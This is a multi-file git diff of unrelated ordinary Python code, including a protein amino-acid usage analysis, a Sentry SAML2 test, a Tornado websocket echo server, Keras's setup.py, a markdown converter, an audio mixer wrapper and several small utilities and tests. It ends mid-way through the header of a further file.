+bact_cai = pd.read_csv(bact_cai_fname) + +bact_cai_by_org = bact_cai.groupby('GenomicID') +arch_cai_by_org = arch_cai.groupby('assembly_accession') + + +aacids = list('ACDEFGHIKLMNPQRSTVWY') + + + + +# generate 'dataset': +# select CDS translations (protein sequences) for a given criteria ... +# criteria includes CAI top 10%, all proteins, TrOp, noTrOp, ribosomal ... +# 2 types of criteria: organismal and CDS-level ... +def get_dataset(all_cds,dat,uid_key,cds_criteria='all',org_criteria='all',calculate_trop=False,topt='OptimumTemperature'): + # + # ACHTUNG !!! + # the way we treated organisms with too little ribosomal proteins (~<24), makes it hard + # to distinguish between non-TrOp and the ones the former ones. + # This can cause downstream 'nan' evaluations as a result ... + # To avoid troubles: treat the TrOp==np.nan differently ! + # + # + # # This is a bug potentially ... + # pd.Series([np.nan, np.nan, np.nan]).all() = True + # pd.Series([np.nan, np.nan, np.nan]).any() = False + def get_one_trop(idx): + org_cds = all_cds.get_group(idx) + # check if TrOp ... + # for a given organism(id) all TrOp values must be same + trop_vals = org_cds['TrOp'].unique() + assert trop_vals.size == 1 + # then just figure out TrOp value after unpacking ... + trop, = trop_vals + if pd.isnull(trop): + # special return - not enough ribosomal proteins ... + return 'none' + if not trop: + # False, return False + return 'false' + elif trop == True: + # if it's True just return ... + return 'true' + else: + raise ValueError + # + # + def extract_aausage(uid,criteria,cds_trans_key='protein'): + local_cds = all_cds.get_group(uid) + # select protein according to the criteria ... + if criteria == 'cai': + # cai10 for cai related criteria ... + cai10 = local_cds['CAI'].quantile(q=1.0 - 0.1) + selected_aa = local_cds[local_cds['CAI'] >= cai10][cds_trans_key] + elif criteria == 'ribo': + selected_aa = local_cds[local_cds['ribosomal']][cds_trans_key] + elif criteria == 'cai_noribo': + # cai10 for cai related criteria ... + cai10 = local_cds['CAI'].quantile(q=1.0 - 0.1) + selected_aa = local_cds[(local_cds['CAI'] >= cai10)&(~local_cds['ribosomal'])][cds_trans_key] + elif criteria == 'all': + selected_aa = local_cds[cds_trans_key] + else: + raise ValueError('CDS criteria must be either cai,ribo,cai_noribo or all!') + # + selected_aa = ''.join(selected_aa) + total_aacount = float(len(selected_aa)) + # return freuqencies of aa usage + get_aacount_str = lambda seq: np.asarray([seq.count(aa) for aa in aacids]) + return get_aacount_str(selected_aa)*100.0/total_aacount + # + # Calculate or check if we have the TrOp info for each organism ... + if calculate_trop: + dat['TrOp'] = [get_one_trop(idx) for idx in dat[uid_key]] + else: + assert 'TrOp' in dat.columns + # + # + if org_criteria == 'all': + return_aausage = [ extract_aausage(uid,criteria=cds_criteria) for uid in dat[dat['TrOp']!='none'][uid_key]] + return_topt = dat[dat['TrOp']!='none'][topt] + elif org_criteria == 'trop': + return_aausage = [ extract_aausage(uid,criteria=cds_criteria) for uid in dat[dat['TrOp']=='true'][uid_key] ] + return_topt = dat[dat['TrOp']=='true'][topt] + else: + raise ValueError('Organism criteria must be either all or trop!') + # transform the aausage + return_aausage = np.asarray(return_aausage) + return_aausage = pd.DataFrame(return_aausage,columns=aacids) + return_aausage[topt] = return_topt.reset_index(drop=True) + # + return return_aausage + + + + + + + + +cds_crits = ['cai','ribo','cai_noribo','all'] +org_crits = ['trop','all'] +# +combinations = [(cc,oo) for cc in cds_crits for oo in org_crits] +combinations = [[{'cds_criteria':cc,'org_criteria':oo} for cc in cds_crits] for oo in org_crits] +# # with trop +# combinations[0][0,2,3] +# # no trop ... +# combinations[1][0,1,3] + + +# for each dataset get some summary info ... +def get_data_summary(dat,topt='OptimumTemperature'): + exp_T = dat[dat[topt]>=50][aacids].mean() + exp_M = dat[(dat[topt]>=20)&(dat[topt]<=40)][aacids].mean() + exp_A = dat[aacids].mean() + exp_D = dat[aacids].apply(lambda x: x.cov(dat[topt])/dat[topt].var()) + # check exp_D, just in case ... + exp_D_check = dat[aacids].apply(lambda x: st.linregress(dat[topt],x)[0]) + if ( np.abs(exp_D - exp_D_check) > 1e-7 ).any(): + raise ValueError('exp_D caluclation failed!') + # assign some names to form a DataFrame later ... + exp_M.name = 'exp_M' + exp_T.name = 'exp_T' + exp_A.name = 'exp_A' + exp_D.name = 'exp_D' + # stack these as columns together and return ... + return pd.concat([exp_M,exp_T,exp_A,exp_D],axis=1) + + + + +for i,(for_trop,for_notrop) in enumerate(zip([0,2,3],[0,1,3])): + # + ################################################################### + print i,combinations[0][for_trop] + # + kwargs = combinations[0][for_trop] + kwargs['calculate_trop'] = True + # + arch_dataset = get_dataset(arch_cai_by_org,arch_nohalo,'assembly_accession',**kwargs) + bact_dataset = get_dataset(bact_cai_by_org,bact,'GenomicID',**kwargs) + # + arch_dat = get_data_summary(arch_dataset) + bact_dat = get_data_summary(bact_dataset) + # + arch_fname = "exp_MTAD_%s_%s.arch.summary"%(kwargs['cds_criteria'],kwargs['org_criteria']) + bact_fname = "exp_MTAD_%s_%s.bact.summary"%(kwargs['cds_criteria'],kwargs['org_criteria']) + # + arch_dat.to_csv(arch_fname,index=True) + bact_dat.to_csv(bact_fname,index=True) + # + ################################################################### + print i,combinations[1][for_notrop] + # + kwargs = combinations[1][for_notrop] + kwargs['calculate_trop'] = True + # + arch_dataset = get_dataset(arch_cai_by_org,arch_nohalo,'assembly_accession',**kwargs) + bact_dataset = get_dataset(bact_cai_by_org,bact,'GenomicID',**kwargs) + # + arch_dat = get_data_summary(arch_dataset) + bact_dat = get_data_summary(bact_dataset) + # + arch_fname = "exp_MTAD_%s_%s.arch.summary"%(kwargs['cds_criteria'],kwargs['org_criteria']) + bact_fname = "exp_MTAD_%s_%s.bact.summary"%(kwargs['cds_criteria'],kwargs['org_criteria']) + # + arch_dat.to_csv(arch_fname,index=True) + bact_dat.to_csv(bact_fname,index=True) + + + + + + + + + + + + + + + + + + + + + + diff --git a/pool/shard000/Python/0008518_test_saml2.py b/pool/shard000/Python/0008518_test_saml2.py new file mode 100644 index 0000000000000000000000000000000000000000..6e9f18bbcc410bb6ea4827c020cbeceac8bec5a7 --- /dev/null +++ b/pool/shard000/Python/0008518_test_saml2.py @@ -0,0 +1,113 @@ +from __future__ import absolute_import, print_function + +import pytest +import types + +from datetime import datetime +from django.utils import timezone + +from sentry.auth.helper import AuthHelper +from sentry.auth.providers.saml2.provider import SAML2Provider, Attributes, SAML2ACSView +from sentry.auth.exceptions import IdentityNotValid +from sentry.models import AuthProvider +from sentry.testutils import TestCase +from sentry.utils.compat import mock + +dummy_provider_config = { + "attribute_mapping": { + Attributes.IDENTIFIER: "id", + Attributes.USER_EMAIL: "email", + Attributes.FIRST_NAME: "first", + Attributes.LAST_NAME: "last", + } +} + + +class SAML2ProviderTest(TestCase): + def setUp(self): + self.org = self.create_organization() + self.auth_provider = AuthProvider.objects.create(provider="saml2", organization=self.org) + self.provider = SAML2Provider(key=self.auth_provider.provider) + super(SAML2ProviderTest, self).setUp() + + def test_build_config_adds_attributes(self): + config = self.provider.build_config({}) + + assert "attribute_mapping" in config + + def test_buld_config_with_provider_attributes(self): + with mock.patch.object(self.provider, "attribute_mapping") as attribute_mapping: + config = self.provider.build_config({}) + + assert "attribute_mapping" in config + assert config["attribute_mapping"] == attribute_mapping.return_value + + def test_build_identity_invalid(self): + self.provider.config = dummy_provider_config + state = {"auth_attributes": {}} + + with pytest.raises(IdentityNotValid): + self.provider.build_identity(state) + + state = {"auth_attributes": {"id": [""], "email": ["valid@example.com"]}} + + with pytest.raises(IdentityNotValid): + self.provider.build_identity(state) + + state = {"auth_attributes": {"id": ["1234"], "email": [""]}} + + with pytest.raises(IdentityNotValid): + self.provider.build_identity(state) + + def test_build_identity(self): + self.provider.config = dummy_provider_config + attrs = { + "id": ["123"], + "email": ["valid@example.com"], + "first": ["Morty"], + "last": ["Smith"], + } + + state = {"auth_attributes": attrs} + identity = self.provider.build_identity(state) + + assert identity["id"] == "123" + assert identity["email"] == "valid@example.com" + assert identity["name"] == "Morty Smith" + + +@mock.patch("sentry.auth.providers.saml2.provider.build_auth") +class SAML2ACSViewTest(TestCase): + def test_set_session_expiration(self, mock_auth): + self.org = self.create_organization() + self.auth_provider = AuthProvider.objects.create(provider="saml2", organization=self.org) + self.provider = SAML2Provider(key=self.auth_provider.provider) + self.provider.config = dummy_provider_config + self.auth_provider.get_provider = mock.MagicMock(return_value=self.provider) + super(SAML2ACSViewTest, self).setUp() + + request = self.make_request(user=None) + request.META = { + "PATH_INFO": "/", + } + + test_view = SAML2ACSView() + helper = AuthHelper( + request, self.org, AuthHelper.FLOW_LOGIN, auth_provider=self.auth_provider + ) + + def mock_next_step(self): + return + + helper.next_step = types.MethodType(mock_next_step, helper) + + instance = mock_auth.return_value + instance.get_errors.return_value = None + instance.get_attributes.return_value = {} + instance.get_session_expiration.return_value = 1591044492 + + test_view.dispatch(request, helper) + + assert request.session.get_expiry_date() == datetime.fromtimestamp(1591044492).replace( + tzinfo=timezone.utc + ) diff --git a/pool/shard000/Python/0008519_server_app.py b/pool/shard000/Python/0008519_server_app.py new file mode 100644 index 0000000000000000000000000000000000000000..8d9d39d991f2c507ee9be052f86fd16a3f0af7b1 --- /dev/null +++ b/pool/shard000/Python/0008519_server_app.py @@ -0,0 +1,46 @@ +import os +import apollo.settings +import apollo.wsgi +import tornado.web +import tornado.websocket +import tornado.wsgi + + +class Application(tornado.web.Application): + """ + Tornado application which serves our Django application. + Tornado handles staticfiles and web sockets, Django handles everything else. + """ + + def __init__(self): + settings = dict() + settings["debug"] = True if apollo.settings.DEBUG else False + + os.environ.setdefault("DJANGO_SETTINGS_MODULE", "apollo.settings") + wsgi_app = tornado.wsgi.WSGIContainer(apollo.wsgi.application) + static_path = apollo.settings.STATIC_ROOT + + handlers = [ + (r"/ws", WebSocketHandler), + (r"/(favicon\.ico)", tornado.web.StaticFileHandler, {'path': static_path}), + (r"/static/(.*)", tornado.web.StaticFileHandler, {'path': static_path}), + (r".*", tornado.web.FallbackHandler, dict(fallback=wsgi_app)), + ] + + tornado.web.Application.__init__(self, handlers, **settings) + + +class WebSocketHandler(tornado.websocket.WebSocketHandler): + def data_received(self, chunk): + # Don't do anything for now + pass + + def open(self): + self.write_message(u"ws-echo: 418 I'm a teapot (as per RFC 2324)") + + def on_message(self, message): + self.write_message(u"ws-echo: " + message) + + def check_origin(self, origin): + return True + diff --git a/pool/shard000/Python/0008525_ziping.py b/pool/shard000/Python/0008525_ziping.py new file mode 100644 index 0000000000000000000000000000000000000000..5718c112ac0fd0f3311b78e4f3cdee07a44342c5 --- /dev/null +++ b/pool/shard000/Python/0008525_ziping.py @@ -0,0 +1,47 @@ +""" +Compress files with Python +""" + + +def tar_compress_folder(tar_fld, tar_file): + """ + Compress a given folder + """ + + from gasp.oss.shell import execute_cmd + + cmd = 'cd {p} && tar -czvf {tar_f} {fld}'.format( + tar_f=tar_file, fld=str(os.path.basename(tar_fld)), + p=str(os.path.dirname(tar_fld)) + ) + + code, out, err = execute_cmd(cmd) + + return tar_file + + +def zip_files(lst_files, zip_file): + """ + Unzip all files in the lst_files + """ + + import zipfile + import os + + __zip = zipfile.ZipFile(zip_file, mode='w') + + for f in lst_files: + print f + __zip.write(f, os.path.relpath(f, os.path.dirname(zip_file)), + compress_type=zipfile.ZIP_DEFLATED) + + __zip.close() + + +def zip_folder(folder, zip_file): + from gasp.oss.info import list_files + + files = list_files(folder) + + zip_files(files, zip_file) + diff --git a/pool/shard000/Python/0008530_setup.py b/pool/shard000/Python/0008530_setup.py new file mode 100644 index 0000000000000000000000000000000000000000..6ee067e0dd4d1557cc1252eab968116b54e2b7eb --- /dev/null +++ b/pool/shard000/Python/0008530_setup.py @@ -0,0 +1,80 @@ +# Copyright 2018 The TensorFlow Authors. All Rights Reserved. +# +# Licensed under the Apache License, Version 2.0 (the "License"); +# you may not use this file except in compliance with the License. +# You may obtain a copy of the License at +# +# http://www.apache.org/licenses/LICENSE-2.0 +# +# Unless required by applicable law or agreed to in writing, software +# distributed under the License is distributed on an "AS IS" BASIS, +# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. +# See the License for the specific language governing permissions and +# limitations under the License. +# ============================================================================== +"""TensorFlow Keras. + +TensorFlow Keras is an implementation of the Keras API that uses TensorFlow as +a backend. +""" + +from __future__ import absolute_import +from __future__ import division +from __future__ import print_function + +import sys +import setuptools + +DOCLINES = __doc__.split('\n') + +# This version string is semver compatible, but incompatible with pip. +# For pip, we will remove all '-' characters from this string, and use the +# result for pip. +_VERSION = '2.9.0' + +REQUIRED_PACKAGES = [ + # We depend on TensorFlow's declared pip dependencies. + # Add a new dep there if one is needed. +] + +project_name = 'keras' +if '--project_name' in sys.argv: + project_name_idx = sys.argv.index('--project_name') + project_name = sys.argv[project_name_idx + 1] + sys.argv.remove('--project_name') + sys.argv.pop(project_name_idx) + + +setuptools.setup( + name=project_name, + version=_VERSION.replace('-', ''), + description='Deep learning for humans.', + long_description='\n'.join(DOCLINES[2:]), + url='https://keras.io/', + download_url='https://github.com/keras-team/keras/tags', + author='Keras team', + author_email='keras-users@googlegroups.com', + packages=setuptools.find_packages(), + install_requires=REQUIRED_PACKAGES, + # PyPI package information. + classifiers=[ + 'Development Status :: 5 - Production/Stable', + 'Intended Audience :: Developers', + 'Intended Audience :: Education', + 'Intended Audience :: Science/Research', + 'License :: OSI Approved :: Apache Software License', + 'Programming Language :: Python :: 3', + 'Programming Language :: Python :: 3.7', + 'Programming Language :: Python :: 3.8', + 'Programming Language :: Python :: 3.9', + 'Programming Language :: Python :: 3 :: Only', + 'Topic :: Scientific/Engineering', + 'Topic :: Scientific/Engineering :: Mathematics', + 'Topic :: Scientific/Engineering :: Artificial Intelligence', + 'Topic :: Software Development', + 'Topic :: Software Development :: Libraries', + 'Topic :: Software Development :: Libraries :: Python Modules', + ], + license='Apache 2.0', + keywords=['keras', 'tensorflow', 'machine learning', 'deep learning'], +) diff --git a/pool/shard000/Python/0008531_init__.py b/pool/shard000/Python/0008531_init__.py new file mode 100644 index 0000000000000000000000000000000000000000..677417248b47a5277acee1dfeccfa76907806e27 --- /dev/null +++ b/pool/shard000/Python/0008531_init__.py @@ -0,0 +1,19 @@ +import os +from pyramid.config import Configurator +from sqlalchemy import engine_from_config + +from .models import DBSession, Base + + +def main(global_config, **settings): + """ This function returns a Pyramid WSGI application. + """ + settings['sqlalchemy.url'] = os.environ.get('DATABASE_URL') + print(settings) + engine = engine_from_config(settings, 'sqlalchemy.') + DBSession.configure(bind=engine) + Base.metadata.bind = engine + config = Configurator(settings=settings) + config.add_route('home', '/{id}/{b1}/{b2}/{b3}/preview.png') + config.scan() + return config.make_wsgi_app() diff --git a/pool/shard000/Python/0008533_mdconv.py b/pool/shard000/Python/0008533_mdconv.py new file mode 100644 index 0000000000000000000000000000000000000000..2652cbdcd94e3fed4e91776fe94c86b2c341219b --- /dev/null +++ b/pool/shard000/Python/0008533_mdconv.py @@ -0,0 +1,77 @@ +#!/usr/bin/python +import glob +import markdown +import sys + +def openFile(path, mode): + # check python version so we always open UTF-8. + if sys.version_info[0] == 2: + import codecs + return codecs.open(path, mode, "utf-8") + else: + return open(path, mode, encoding="utf-8") + +def convert(fn): + # make the new filename + newfn = fn[:-3]+".html" + + print("[CONV] %s => %s" % (fn, newfn)) + + # open and read the md file + try: + mdfile = openFile(fn,"r") + except IOError: + print("[NOPE] File %s doesn't exist, are you mad!?" % fn) + sys.exit(1) + + mdtext = mdfile.read() + + # convert it + html = markdown.markdown(mdtext) + + # close it + mdfile.close() + + # write the new html + htmlfile = openFile(newfn,"w") + htmlfile.write(header+"\n\n"+html+"\n\n"+footer) + htmlfile.close() + +# get the header/footer +try: + hfile = openFile(".mdc_header","r") +except IOError: + hfile = None + +try: + ffile = openFile(".mdc_footer","r") +except IOError: + ffile = None + +if hfile is None: + header = "" +else: + header = hfile.read() + hfile.close() + +if ffile is None: + footer = "" +else: + footer = ffile.read() + ffile.close() + +# figure out if it's a full-on convert or just a single file +try: + target = sys.argv[1:] +except IndexError: + target = None + +if target is None or target == []: + print("[INFO] Converting all files in cwd") + for f in glob.glob("*.md"): + convert(f) +else: + print("[INFO] Converting selected file(s)") + for t in target: + for f in glob.glob(t): + convert(f) diff --git a/pool/shard000/Python/0008543_rtmixer.py b/pool/shard000/Python/0008543_rtmixer.py new file mode 100644 index 0000000000000000000000000000000000000000..e0f6182f8f694bcf5dcd6be4177b92c551126a12 --- /dev/null +++ b/pool/shard000/Python/0008543_rtmixer.py @@ -0,0 +1,189 @@ +"""python-rtmixer interface for sound output.""" + +# Authors: Eric Larson +# +# License: BSD (3-clause) + +import atexit +import sys + +import numpy as np + +from rtmixer import Mixer, RingBuffer +import sounddevice +from .._utils import logger, get_config + +_PRIORITY = 100 +_DEFAULT_NAME = None + +# only initialize each mixer once and reuse it until Python closes +_MIXER_REGISTRY = {} + + +def _get_mixer(fs, n_channels, api, name, api_options): + """Select the API and device.""" + # API + if api is None: + api = get_config('SOUND_CARD_API', None) + if api is None: + # Eventually we should maybe allow 'Windows WDM-KS', + # 'Windows DirectSound', or 'MME' + api = dict( + darwin='Core Audio', + win32='Windows WASAPI', + linux='ALSA', + linux2='ALSA', + )[sys.platform] + key = (fs, n_channels, api, name) + if key not in _MIXER_REGISTRY: + _MIXER_REGISTRY[key] = _init_mixer(fs, n_channels, api, name, + api_options) + return _MIXER_REGISTRY[key] + + +def _init_mixer(fs, n_channels, api, name, api_options=None): + devices = sounddevice.query_devices() + if len(devices) == 0: + raise OSError('No sound devices found!') + apis = sounddevice.query_hostapis() + for ai, this_api in enumerate(apis): + if this_api['name'] == api: + api = this_api + break + else: + raise RuntimeError('Could not find host API %s' % (api,)) + del this_api + + # Name + if name is None: + name = get_config('SOUND_CARD_NAME', None) + if name is None: + global _DEFAULT_NAME + if _DEFAULT_NAME is None: + di = api['default_output_device'] + _DEFAULT_NAME = devices[di]['name'] + logger.exp('Selected default sound device: %r' % (_DEFAULT_NAME,)) + name = _DEFAULT_NAME + possible = list() + for di, device in enumerate(devices): + if device['hostapi'] == ai: + possible.append(device['name']) + if name in device['name']: + break + else: + raise RuntimeError('Could not find device on API %r with name ' + 'containing %r, found:\n%s' + % (api['name'], name, '\n'.join(possible))) + param_str = ('sound card %r (devices[%d]) via %r' + % (device['name'], di, api['name'])) + extra_settings = None + if api_options is not None: + if api['name'] == 'Windows WASAPI': + # exclusive mode is needed for zero jitter on Windows in testing + extra_settings = sounddevice.WasapiSettings(**api_options) + else: + raise ValueError( + 'api_options only supported for "Windows WASAPI" backend, ' + 'using %s backend got api_options=%s' + % (api['name'], api_options)) + param_str += ' with options %s' % (api_options,) + param_str += ', %d channels' % (n_channels,) + if fs is not None: + param_str += ' @ %d Hz' % (fs,) + try: + mixer = Mixer( + samplerate=fs, latency='low', channels=n_channels, + dither_off=True, device=di, + extra_settings=extra_settings) + except Exception as exp: + raise RuntimeError('Could not set up %s:\n%s' % (param_str, exp)) + assert mixer.channels == n_channels + if fs is None: + param_str += ' @ %d Hz' % (mixer.samplerate,) + else: + assert mixer.samplerate == fs + + mixer.start() + assert mixer.active + logger.info('Expyfun: using %s, %0.1f ms nominal latency' + % (param_str, 1000 * device['default_low_output_latency'])) + atexit.register(lambda: (mixer.abort(), mixer.close())) + return mixer + + +class SoundPlayer(object): + """SoundPlayer based on rtmixer.""" + + def __init__(self, data, fs=None, loop=False, api=None, name=None, + fixed_delay=None, api_options=None): + data = np.atleast_2d(data).T + data = np.asarray(data, np.float32, 'C') + self._data = data + self.loop = bool(loop) + self._n_samples, n_channels = self._data.shape + assert n_channels >= 1 + self._n_channels = n_channels + self._mixer = None # in case the next line crashes, __del__ works + self._mixer = _get_mixer(fs, self._n_channels, api, name, api_options) + if loop: + self._ring = RingBuffer(self._data.itemsize * self._n_channels, + self._data.size) + self._ring.write(self._data) + self._fs = float(self._mixer.samplerate) + self._ec_duration = self._n_samples / self._fs + self._action = None + self._fixed_delay = fixed_delay + if fixed_delay is not None: + logger.info('Expyfun: Using fixed audio delay %0.1f ms' + % (1000 * fixed_delay,)) + else: + logger.info('Expyfun: Variable audio delay') + + @property + def fs(self): + return self._fs + + @property + def playing(self): + return self._action is not None and self._mixer is not None + + @property + def _start_time(self): + if self._fixed_delay is not None: + return self._mixer.time + self._fixed_delay + else: + return 0. + + def play(self): + """Play.""" + if not self.playing and self._mixer is not None: + if self.loop: + self._action = self._mixer.play_ringbuffer( + self._ring, start=self._start_time) + else: + self._action = self._mixer.play_buffer( + self._data, self._data.shape[1], start=self._start_time) + + def stop(self, wait=True, extra_delay=0.): + """Stop.""" + if self.playing: + action, self._action = self._action, None + # Impose the same delay here that we imposed on the stim start + cancel_action = self._mixer.cancel( + action, time=self._start_time + extra_delay) + if wait: + self._mixer.wait(cancel_action) + else: + return cancel_action + + def delete(self): + """Delete.""" + if getattr(self, '_mixer', None) is not None: + self.stop(wait=False) + mixer, self._mixer = self._mixer, None + stats = mixer.fetch_and_reset_stats().stats + logger.exp('%d underflows %d blocks' + % (stats.output_underflows, stats.blocks)) + + def __del__(self): # noqa + self.delete() diff --git a/pool/shard000/Python/0008545_base.py b/pool/shard000/Python/0008545_base.py new file mode 100644 index 0000000000000000000000000000000000000000..b2233a3e4ddc81eab019c873a7c620726a4351f8 --- /dev/null +++ b/pool/shard000/Python/0008545_base.py @@ -0,0 +1,22 @@ +from pypom import Page, Region +from selenium.webdriver.common.by import By + + +class Base(Page): + + def __init__(self, driver, base_url=None, timeout=20, **url_kwargs): + super(Base, self).__init__(driver, base_url, timeout, **url_kwargs) + + @property + def header(self): + return self.Header(self) + + class Header(Region): + + _root_locator = (By.ID, 'th-global-navbar') + _dropdown_menu_switch_page_locator = (By.CSS_SELECTOR, 'ul.show > li a') + _dropdown_menu_locator = (By.ID, 'th-logo') + + def switch_page_using_dropdown(self): + self.find_element(*self._dropdown_menu_locator).click() + self.find_element(*self._dropdown_menu_switch_page_locator).click() diff --git a/pool/shard000/Python/0008547_test_bbox_tight.py b/pool/shard000/Python/0008547_test_bbox_tight.py new file mode 100644 index 0000000000000000000000000000000000000000..b00dfe6240015f558fdab41520618eed6ce4a4f2 --- /dev/null +++ b/pool/shard000/Python/0008547_test_bbox_tight.py @@ -0,0 +1,83 @@ +from matplotlib import rcParams +from matplotlib.testing.decorators import image_comparison +import matplotlib.pyplot as plt +import matplotlib.path as mpath +import matplotlib.patches as mpatches +from matplotlib.ticker import FuncFormatter +import numpy as np + +@image_comparison(baseline_images=['bbox_inches_tight'], remove_text=True, + savefig_kwarg=dict(bbox_inches='tight'), tol=15) +def test_bbox_inches_tight(): + "Test that a figure saved using bbox_inches'tight' is clipped right" + data = [[ 66386, 174296, 75131, 577908, 32015], + [ 58230, 381139, 78045, 99308, 160454], + [ 89135, 80552, 152558, 497981, 603535], + [ 78415, 81858, 150656, 193263, 69638], + [ 139361, 331509, 343164, 781380, 52269]] + + colLabels = rowLabels = [''] * 5 + + rows = len(data) + ind = np.arange(len(colLabels)) + 0.3 # the x locations for the groups + cellText = [] + width = 0.4 # the width of the bars + yoff = np.array([0.0] * len(colLabels)) + # the bottom values for stacked bar chart + fig, ax = plt.subplots(1,1) + for row in range(rows): + plt.bar(ind, data[row], width, bottom=yoff) + yoff = yoff + data[row] + cellText.append(['']) + plt.xticks([]) + plt.legend([''] * 5, loc = (1.2, 0.2)) + # Add a table at the bottom of the axes + cellText.reverse() + the_table = plt.table(cellText=cellText, + rowLabels=rowLabels, + colLabels=colLabels, loc='bottom') + + +@image_comparison(baseline_images=['bbox_inches_tight_suptile_legend'], + remove_text=False, savefig_kwarg={'bbox_inches': 'tight'}) +def test_bbox_inches_tight_suptile_legend(): + plt.plot(list(range(10)), label='a straight line') + plt.legend(bbox_to_anchor=(0.9, 1), loc=2, ) + plt.title('Axis title') + plt.suptitle('Figure title') + + # put an extra long y tick on to see that the bbox is accounted for + def y_formatter(y, pos): + if int(y) == 4: + return 'The number 4' + else: + return str(y) + plt.gca().yaxis.set_major_formatter(FuncFormatter(y_formatter)) + + plt.xlabel('X axis') + + +@image_comparison(baseline_images=['bbox_inches_tight_clipping'], + remove_text=True, savefig_kwarg={'bbox_inches': 'tight'}) +def test_bbox_inches_tight_clipping(): + # tests bbox clipping on scatter points, and path clipping on a patch + # to generate an appropriately tight bbox + plt.scatter(list(range(10)), list(range(10))) + ax = plt.gca() + ax.set_xlim([0, 5]) + ax.set_ylim([0, 5]) + + # make a massive rectangle and clip it with a path + patch = mpatches.Rectangle([-50, -50], 100, 100, + transform=ax.transData, + facecolor='blue', alpha=0.5) + + path = mpath.Path.unit_regular_star(5).deepcopy() + path.vertices *= 0.25 + patch.set_clip_path(path, transform=ax.transAxes) + plt.gcf().artists.append(patch) + + +if __name__ == '__main__': + import nose + nose.runmodule(argv=['-s', '--with-doctest'], exit=False) diff --git a/pool/shard000/Python/0008548_get-access.py b/pool/shard000/Python/0008548_get-access.py new file mode 100644 index 0000000000000000000000000000000000000000..73f1cfcc8d1f371fbb6f9a87b8e45cde7089508b --- /dev/null +++ b/pool/shard000/Python/0008548_get-access.py @@ -0,0 +1,36 @@ +#!/usr/bin/python3 +""" +argv[1]: eventType +argv[2]: eventId +""" + +import sys +import os +import requests + +from pprint import pprint + +host = os.getenv("STARCAL_HOST", "127.0.0.1") +token = os.getenv("STARCAL_TOKEN") +if not token: + print("Please set and export STARCAL_TOKEN") + sys.exit(1) + +eventType, eventId = sys.argv[1:3] + +r = requests.get( + f"http://{host}:9001/event/{eventType}/{eventId}/access/", + headers={"Authorization": "bearer " + token}, +) +print(r) +try: + data = r.json() +except: + print("data is not json") + print(r.text) +else: + error = data.get("error", "") + if error: + print(error) + else: + pprint(data, width=80) diff --git a/pool/shard000/Python/0008551_TestModuleCatalog.py b/pool/shard000/Python/0008551_TestModuleCatalog.py new file mode 100644 index 0000000000000000000000000000000000000000..9e89c6a6dedd52e4a6778387c045dfc331b6dbe2 --- /dev/null +++ b/pool/shard000/Python/0008551_TestModuleCatalog.py @@ -0,0 +1,87 @@ +# -*- coding: iso-8859-1 -*- +# Copyright (C) 2007-2016 CEA/DEN, EDF R&D, OPEN CASCADE +# +# Copyright (C) 2003-2007 OPEN CASCADE, EADS/CCR, LIP6, CEA/DEN, +# CEDRAT, EDF R&D, LEG, PRINCIPIA R&D, BUREAU VERITAS +# +# This library is free software; you can redistribute it and/or +# modify it under the terms of the GNU Lesser General Public +# License as published by the Free Software Foundation; either +# version 2.1 of the License, or (at your option) any later version. +# +# This library is distributed in the hope that it will be useful, +# but WITHOUT ANY WARRANTY; without even the implied warranty of +# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU +# Lesser General Public License for more details. +# +# You should have received a copy of the GNU Lesser General Public +# License along with this library; if not, write to the Free Software +# Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA 02111-1307 USA +# +# See http://www.salome-platform.org/ or email : webmaster.salome@opencascade.com +# + +import batchmode_salome +import SALOME_ModuleCatalog + +print +print "======================================================================" +print " XML Catalog file generation from idl file" +print "======================================================================" + +import os +os.system('runIDLparser -Wbcatalog=x \ + ${KERNEL_ROOT_DIR}/idl/salome/SALOME_TestModuleCatalog.idl') + +print "======================================================================" +print " Get Catalog " +print "======================================================================" +obj = batchmode_salome.naming_service.Resolve('Kernel/ModulCatalog') +catalog = obj._narrow(SALOME_ModuleCatalog.ModuleCatalog) +catalog.GetComponentList() + +print +print "======================================================================" +print " Import xml file " +print "======================================================================" +catalog.ImportXmlCatalogFile("x.xml") + +name = "AddComponent" +print +print "======================================================================" +print " Dump component <", name, "> " +print "======================================================================" +C = catalog.GetComponent(name) + +print "name : ", C._get_componentname() +print "username : ", C._get_componentusername() +print "type : ", C._get_component_type() +print "constraint : ", C._get_constraint() +print "icon : ", C._get_component_icone() + +for iL in C.GetInterfaceList(): + I = C.GetInterface(iL) + print "interface : ", I.interfacename + for S in I.interfaceservicelist: + print " service : ", S.ServiceName + print " ", len(S.ServiceinParameter), "in params : " + for iP in S.ServiceinParameter: + print ' ' + iP.Parametername + '(' + iP.Parametertype + ')' + pass + print " ", len(S.ServiceoutParameter), "out params : " + for iP in S.ServiceoutParameter: + print ' ' + iP.Parametername + '(' + iP.Parametertype + ')' + pass + print " ", len(S.ServiceinDataStreamParameter), "in datastream params : " + for iP in S.ServiceinDataStreamParameter: + print ' ' + iP.Parametername + '(' + str(iP.Parametertype) + ', ' + \ + str(iP.Parameterdependency) + ')' + pass + print " ", len(S.ServiceoutDataStreamParameter), "out datastream params : " + for iP in S.ServiceoutDataStreamParameter: + print ' ' + iP.Parametername + '(' + str(iP.Parametertype) + ', ' + \ + str(iP.Parameterdependency) + ')' + pass + pass + pass + diff --git a/pool/shard000/Python/0008552_genetic.py b/pool/shard000/Python/0008552_genetic.py new file mode 100644 index 0000000000000000000000000000000000000000..01fe3ace430dcc1631bfd89a45bf6f734623b7b3 --- /dev/null +++ b/pool/shard000/Python/0008552_genetic.py @@ -0,0 +1,32 @@ +import species +import random + +def combine_and_mutate(parent_a, parent_b): + new = species.mutate(species.combine(parent_a, parent_b)) + assert is_valid(new) + return new + +def random_individual_parameters(): + parameters = {} + domains = species.domains() + for param in domains: + parameters[param] = random.choice(domains[param]) + return parameters + +# check if all parameters are in domain +def is_valid(parameters): + return True # yolo + domains = species.domains() + covered = set() + for param in parameters: + covered.add(param) + value = parameters[param] + if value not in domains[param]: + return False + return covered == set(domains.keys()) + +def combine_random(parent_a, parent_b): + new = {} + for param in parent_a: + new[param] = random.choice([parent_a, parent_b])[param] + return new diff --git a/pool/shard000/Python/0008553_plain_text_table.py b/pool/shard000/Python/0008553_plain_text_table.py new file mode 100644 index 0000000000000000000000000000000000000000..95098dadb9a3cc126795256eee3fa1f1d0534f3e --- /dev/null +++ b/pool/shard000/Python/0008553_plain_text_table.py @@ -0,0 